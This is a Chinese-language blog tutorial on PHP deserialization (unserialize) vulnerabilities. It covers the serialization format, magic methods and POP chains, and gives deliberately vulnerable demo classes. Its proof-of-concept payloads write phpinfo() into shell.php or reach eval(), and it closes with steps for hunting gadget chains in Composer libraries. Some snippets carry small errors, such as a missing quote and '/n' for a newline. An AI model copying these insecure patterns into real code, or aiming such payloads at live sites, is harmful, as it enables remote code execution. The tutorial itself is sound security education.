PHP

php-unserialize-初識

Google+ Pinterest LinkedIn Tumblr

在OWASP TOP10中,反序列化已經榜上有名,但是究竟什麼是反序列化,我覺得應該進下心來好好思考下。我覺得學習的時候,所有的問題都應該問3個問題:what、why、how。what:什麼是反序列化,why:為什麼會出現反序列化漏洞,how:反序列化漏洞如何利用。

從事工作也一年了,也遇到過反序列化漏洞,發現啊,反序列化漏洞真的黑盒很難發現,即使發現了也好難利用。但是有時候反序列化漏洞的危害卻挺大的。下面開始進入正題。

第二章 什麼是序列化

首先這個東西在PHP網站中的定義:

所有php裏面的值都可以使用函式serialize()來返回一個包含位元組流的字串來表示。unserialize()函式能夠重新把字串變回php原來的值。 序列化一個物件將會儲存物件的所有變數,但是不會儲存物件的方法,只會儲存類的名字。

按照我的理解,serialize()將一個物件轉換成一個字串,unserialize()將字串還原為一個物件。

當然從本質上來說,反序列化的資料本身是沒有危害的,使用者可控資料進行反序列化是存在危害的。

1.PHP類與物件

首先,要進行序列化之前,需要了解一下PHP類與物件的概念,這裏我們看個dome程式碼:

<?php
class TestClass    
{    
    // 一個變數    
     
    public $variable = 'This is a string';    
     
    // 一個簡單的方法    
     
    public function PrintVariable()    
    {    
        echo $this->variable;    
    }    
}    
     
// 建立一個物件    
     
$object = new TestClass();    
     
// 呼叫一個方法    
     
$object->PrintVariable();    
     
?>

在這個程式碼中,檔案定義了一個 TestClass 類,在類中定義了 $variable 變數,以及函式 PrintVariable 。然後例項化這個類並呼叫它的方法。執行結果如下。

php-unserialize-初識

當然,上面的程式碼是正常情況下的呼叫。但是php中存在一些特殊的類成員在某些特定情況下會自動呼叫,稱之為magic函式,magic函式命名是以符號 __ 開頭的。舉個例子:

__construct
__destruct
__toString

下面程式碼中嘗試加入上述的三個魔術函式,我們看看結果:

<?php

class TestClass
{
    // 一個變數

    public $variable = 'This is a string';

    // 一個簡單的方法

    public function PrintVariable()
    {
        echo $this->variable . '<br />';
    }

    // Constructor

    public function __construct()
    {
        echo '__construct <br />';
    }

    // Destructor

    public function __destruct()
    {
        echo '__destruct <br />';
    }

    // Call

    public function __toString()
    {
        return '__toString<br />';
    }
}

// 建立一個物件
//  __construct會被呼叫

$object = new TestClass();

// 建立一個方法

$object->PrintVariable();

// 物件被當作一個字串
//  __toString會被呼叫

echo $object;

// End of PHP script
// 指令碼結束__destruct會被呼叫
     
?>

總結幾個常用魔術方法及觸發條件。

__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__destruct() //物件被銷燬時觸發
__call() //在物件上下文中呼叫不可訪問的方法時觸發
__callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取資料
__set() //用於將資料寫入不可訪問的屬性
__isset() //在不可訪問的屬性上呼叫isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字串使用時觸發,返回值需要為字串
__invoke() //當指令碼嘗試將物件呼叫為函式時觸發

2.PHP序列化基礎格式

boolean

b:;
b:1; // True
b:0; // False

integer

i:;
i:1; // 1
i:-3; // -3

double

d:;
d:1.2345600000000001; // 1.23456(php弱型別所造成的四捨五入現象)

NULL

N; //NULL

string

s::"";
s"INSOMNIA"; // "INSOMNIA"

array

a::{key, value pairs};
a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")

3.PHP序列化

php允許儲存一個物件方便以後重用,這個過程被稱為序列化。為什麼要有序列化這種機制呢?在傳遞變數的過程中,有可能遇到變數值要跨指令碼檔案傳遞的過程。試想,如果為一個指令碼中想要呼叫之前一個指令碼的變數,但是前一個指令碼已經執行完畢,所有的變數和內容釋放掉了,我們要如何操作呢?難道要前一個指令碼不斷的迴圈,等待後面指令碼呼叫?這肯定是不現實的。因為這樣的操作,在小專案還好,在大專案裡是極其浪費資源的。但是如果你將一個物件序列化,那麼它就會變成一個字串,等你需要的時候再通過反序列化轉換回變了變數,在進行呼叫就好了,在這樣就剩了資源的使用。

先看個dome程式碼,瞭解一下PHP序列化中的字串。

<?php
class User
{
    // 類資料

    public $age = "7";
    public $sex = "man";
    public $name = "Notyeat";
}
$example = new User();
$example->name = "John";
$example->sex = "woman";
$example->age = "18";

echo serialize($example);

?>

解釋下這個序列化的字串

php-unserialize-初識

PHP序列化格式如下所示:

O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
型別:長度:"名字":類中變數的個數:{型別:長度:"名字";型別:長度:"值";......}

型別字母詳解:

a - array  
b - boolean  
d - double  
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

然後我們將其反序列化回來看下結果

<?php

class User
{
    // 類資料

    public $age = "7";
    public $sex = "man";
    public $name = "Notyeat";
}
$example = new User();
$example->name = "John";
$example->sex = "woman";
$example->age = "18";

$test1 = serialize($example);
echo $test1."/n";
$test = unserialize($test1);
echo $test->age;

?>

結果: php-unserialize-初識

在序列化的時候其實是有個小注意點:

在這裏明明testflag是8位,為什麼s:10呢。

php-unserialize-初識

原來是:物件的私有成員具有加入成員名稱的類名稱;受保護的成員在成員名前面加上’*’。這些字首值在任一側都有空位元組。

php-unserialize-初識

所以在傳入序列化字串的時候,需要補齊這些空位元組。

O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";}

第三章 為什麼會出現反序列化漏洞

其實這個問題在上面也提到過了,原因在於反序列化的引數可控,且程式碼存在一定風險。

舉個例子看個程式碼:

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

這串程式碼,我們可以看到變數 $a 從url中test引數獲取到內容,並且在反序列化的時候通過 __destruct() 直接將傳入的資料不經過任何處理,echo出來,這裏就存在反射型xss漏洞了。

在反序列化中,我們所能控制的資料就是物件中的各個屬性值,所以在PHP的反序列化有一種漏洞利用方法叫做 「面向屬性程式設計」 ,即 POP( Property Oriented Programming)。和二進制漏洞中常用的ROP技術類似。在ROP中我們往往需要一段初始化gadgets來開始我們的整個利用過程,然後繼續呼叫其他gadgets。在PHP反序列化漏洞利用技術POP中,對應的初始化gadgets就是 __wakeup() 或者是 __destruct() 方法, 在最理想的情況下能夠實現漏洞利用的點就在這兩個函式中,但往往我們需要從這個函式開始,逐步的跟進在這個函式中呼叫到的所有函式,直至找到可以利用的點為止。下面列舉些在跟進其函式呼叫過程中需要關注一些很有價值的函式。

1.幾個可用的POP鏈方法

命令執行:

exec()
passthru()
popen()
system()

檔案操作:

file_put_contents()
file_get_contents()
unlink()

如果在跟程序序過程中發現這些函式就要打起精神,一旦這些函式的引數我們能夠控制,就有可能出現高危漏洞.

2.POP鏈demo示例

<?php
class popdemo
{
    private $data = "demo/n";
    private $filename = './demo';
    public function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        $this->save($this->filename);
    }
    public function save($filename)
    {
        file_put_contents($filename, $this->data);
    }
}

unserialize(file_get_contents('./serialized.txt));
?>

這是一個很簡單的示例程式碼,且這個程式碼存在反序列化漏洞。該檔案還定義了一個 popdemo 類,並且該類實現了 __wakeup 函式,然後在該函式中又呼叫了save函式,且引數物件是檔名。跟進save函式,我們看到在該函式中通過呼叫 file_put_contents 函式,這個函式的 $filenamedata 屬性值是從save函式中傳出來的,並且建立了一個檔案。由於 __wakeup() 函式在序列化時自動呼叫,這裏還定義了一個儲存檔案的函式,在這個反序列化過程中物件的屬性值可控。於是這裏就存在一個任意檔案寫入任意檔案內容的反序列化漏洞了。這就是所謂的POP。就是關注整個函式的呼叫過程中引數的傳遞情況,找到可利用的點,這和一般的Web漏洞沒什麼區別,只是可控制的值有直接傳遞給程式的引數轉變爲了物件中的屬性值。

利用poc:

<?php
class popdemo
{
    private $data = "<?php phpinfo();?>/n";
    private $filename = './poc.php';
    public function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        $this->save($this->filename);
    }
    public function save($filename)
    {
        file_put_contents($filename, $this->data);
    }
}
$demo = new popdemo();
echo serialize($demo);
file_put_contents("./serialized.txt",serialize($demo));
?>

這裏定義了 $data$filename ,然後序列化字串後儲存到serialized.txt檔案中,序列化字串:

php-unserialize-初識

然後執行demo程式碼,會在同目錄下生成一個poc.php

php-unserialize-初識

第四章 反序列化漏洞的利用

1.利用建構函式等

php在使用unserialize()後會導致 __wakeup()__destruct() 的直接呼叫,中間無需其他過程。因此最理想的情況就是一些漏洞/危害程式碼在 __wakeup()__destruct() 中,從而當我們控制序列化字串時可以去直接觸發它們。

但是如果在反序列化的過程中,在 __wakeup()__destruct() 不存在可以利用的惡意代碼呢。那又該如何呢,其實吧我覺得反序列化漏洞,就是類似於類似於PWN中的ROP,有時候反序列化一個物件時,由它呼叫的__wakeup()中又去呼叫了其他的物件,由此可以溯源而上,利用一次次的「gadget」找到漏洞點。

<?php
class pocdemo{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class l1nk3r{
    var $test = '123';
    function __wakeup(){
        $obj = new pocdemo($this->test);
    }

}

$test = file_get_contents('./ser.txt');
unserialize($test);

require "shell.php";
?>

這裏程式碼主要是通過get方法通過test傳入序列化好的字串,然後在反序列化的時候自動呼叫 __wakeup() 函式,在 __wakeup() 函式中通過new pocdemo()會自動呼叫物件pocdemo中的 __construct() ,從而把 <?php phpinfo(); ?> 寫入到shell.php中。

poc程式碼:

<?php

class l1nk3r{
    var $test = '<?php phpinfo(); ?>';
    function __wakeup(){
        $obj = new pocdemo($this->test);
    }

}

$ser = new l1nk3r();
$result = serialize($ser);
print $result;
file_put_contents('./ser.txt',$result);
?>

php-unserialize-初識 然後將這個序列化的字元重新匯入到poc程式碼中,反序列化之後,就會生成一個shell.php,並且內容為 <?php phpinfo(); ?>

php-unserialize-初識

2.利用普通成員方法

在反序列化的時候,當漏洞/危險程式碼存在類的普通方法中,就不能指望通過「自動呼叫」來達到目的了。這時的利用方法如下,尋找相同的函式名,把敏感函式和類聯絡在一起。

<?php
class l1nk3r {
    var $test;
    function __construct() {
        $this->test = new CodeMonster();
    }
    function __destruct() {
        $this->test->action();
    }
}
class CodeMonster {
    function action() {
        echo "CodeMonster";
    }
}
class CodeMonster1 {
    var $test2;
    function action() {
        eval($this->test2);
    }
}
$class6 = new l1nk3r();
unserialize($_GET['test']);
?>

從程式碼上來看,來通過new 例項化一個新的l1nk3r物件後,呼叫 __construct() ,其中該函式又new了一個新的CodeMonster物件;這個物件的功能是定義了action()函式,並且列印CodeMonster。然後結束的時候呼叫 __destruct() ,在 __destruct() 會呼叫action(),因此頁面會輸出CodeMonster。

php-unserialize-初識

但是在程式碼中,我們看得到codermaster1物件中有一個eval()函式,這可是危險函式啊,那有什麼方法,通過發序列化觸發它呢,當然有了。剛剛在l1nk3r物件中,new的是CodeMonster,如果new的是CodeMonster1,那麼自然就會進入CodeMonster1中,然後eval()函式中的 $test2 可控制,那麼自然就可以實現遠端程式碼執行了。

Poc:

<?php
class l1nk3r {
    var $test;
    function __construct() {
        $this->test = new CodeMonster1();
    }
}

class CodeMonster1 {
    var $test2='phpinfo();';
}

$class6 = new l1nk3r();
print_r(serialize($class6));

?>

生成的序列化字串:

O:6:"l1nk3r":1:{s:4:"test";O:11:"CodeMonster1":1:{s:5:"test2";s:10:"phpinfo();";}}

php-unserialize-初識

第五章 現實中查詢反序列化漏洞及構造exploit的方法

1.前置知識

PHP的 unserialize() 函式只能反序列化在當前程式上下文中已經被定義過的類.在傳統的PHP中你需要通過使用一大串的include() 或者 require()來包含所需的類定義檔案。於是後來出現了 autoloading 技術,他可以自動匯入需要使用的類,再也不需要程式設計師不斷地複製貼上 那些include程式碼了。這種技術同時也方便了我們的漏洞利用.因為在我們找到一個反序列化點的時候我們所能使用的類就多了,那麼實現漏洞利用的可能性也就更加高。

還有一個東西要提一下,那就是Composer,這是一個php的包管理工具,同時他還能自動匯入所以依賴庫中定義的類。這樣一來 unserialize() 函式也就能使用所有依賴庫中的類了,攻擊面又增大不少。

1.Composer配置的依賴庫儲存在vendor目錄下

2.如果要使用Composer的自動類載入機制,只需要在php檔案的開頭加上

require __DIR__ . '/vendor/autoload.php' ;

2.漏洞發現技巧

預設情況下 Composer 會從 Packagist下載包,那麼我們可以通過審計這些包來找到可利用的 POP鏈。

找PHP鏈的基本思路.

1.在各大流行的包中搜索 __wakeup()__destruct() 函式.

2.追蹤呼叫過程

3.手工構造 並驗證 POP 鏈

4.開發一個應用使用該庫和自動載入機制,來測試exploit.

3.構造exploit的思路

1.尋找可能存在漏洞的應用

2.在他所使用的庫中尋找 POP gadgets

3.在虛擬機器中安裝這些庫,將找到的POP鏈物件序列化,在反序列化測試payload

4.將序列化之後的payload傳送到有漏洞web應用中進行測試.

Write A Comment